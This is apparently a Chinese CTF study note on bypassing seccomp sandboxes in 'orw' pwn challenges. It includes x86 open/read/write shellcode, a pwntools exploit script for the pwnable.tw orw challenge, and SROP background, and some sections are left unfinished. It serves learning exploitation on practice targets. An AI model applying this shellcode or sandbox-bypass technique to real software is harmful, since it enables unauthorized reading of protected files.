orw
介绍
orw禁用了系统调用,采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,这时候需要通过调用open、read、write这样的函数打开flag
沙箱函数
原始的沙箱都是使用prctl()函数进行,所以能看见这个函数的时候一般都有开了沙箱
**prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )
查看沙箱
可以通过seccomp-tools来判断是否添加沙箱,以及查看沙箱的规则
seccomp-tools的安装
$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools
seccomp-tools的使用
seccomp-tools dump ./pwn
mmap()
一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。
void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);
shellcode绕过
原理
没有开启NX保护的时候,可以让程序执行自己输入的指令直接调用orw三个系统调用(x86下的shellcode,x64需要修改一下寄存器)
#fd = open('/home/orw/flag',0)
s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''
#read(fd,0x804a094,0x20)
s = ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''
#write(1,0x804a094,0x20)
s = ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; '''
ROP绕过
原理
开启NX保护的题目,无法执行shellcode,需要通过ROP来调用orw的三个函数
pwnable.tw orw
先checksec一下

看一下函数逻辑


先是orw_seccomp限定了orw,然后hint用shellcode过去
那么写exp:
from pwn import *
context(os="linux", arch="i386", log_level="debug")
bss = 0x0804A040
#p = process('./orw')
p = remote('chall.pwnable.tw',10001)
p.recvuntil('shellcode:')
#open
shellcode = asm("xor ebx,ebx;xor ecx,ecx;xor edx,edx;xor eax,eax;push ebx ;push 0x67616c66 ;push 0x2f77726f ;push 0x2f656d6f ;push 0x682f2f2f ;mov ebx,esp;mov al,0x5;int 0x80;")
#read
shellcode += asm("mov ebx,0x3;mov ecx,esp ;mov edx,0x40;xor eax,eax;mov al,0x3;int 0x80;")
#write
shellcode += asm("mov ebx,0x1;xor eax,eax ;mov al,0x4;int 0x80;")
p.sendline(shellcode)
p.interactive()

SROP
signal 机制
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。
需要注意的是,这一部分是在用户进程的地址空间的。
之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
我的理解是,触发信号之后会进入内核然后寄存器压栈,然后准备sigreturn的调用。

原理
如果我们伪造栈上的进程上下文再直接调用sigreturn系统调用,就能通过伪造的进程上下文中的各种寄存器随意设置寄存器、跳转任意地址
利用set_context
(下面还没学,学完之后更新)
FSOP
禁用free_hook则打malloc_hook
House of KIWI
参考博客:https://www.cnblogs.com/fuxuqiannian/p/17144953.html
https://x1ng.top/2021/10/28/pwn-orw%E6%80%BB%E7%BB%93/
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/#_2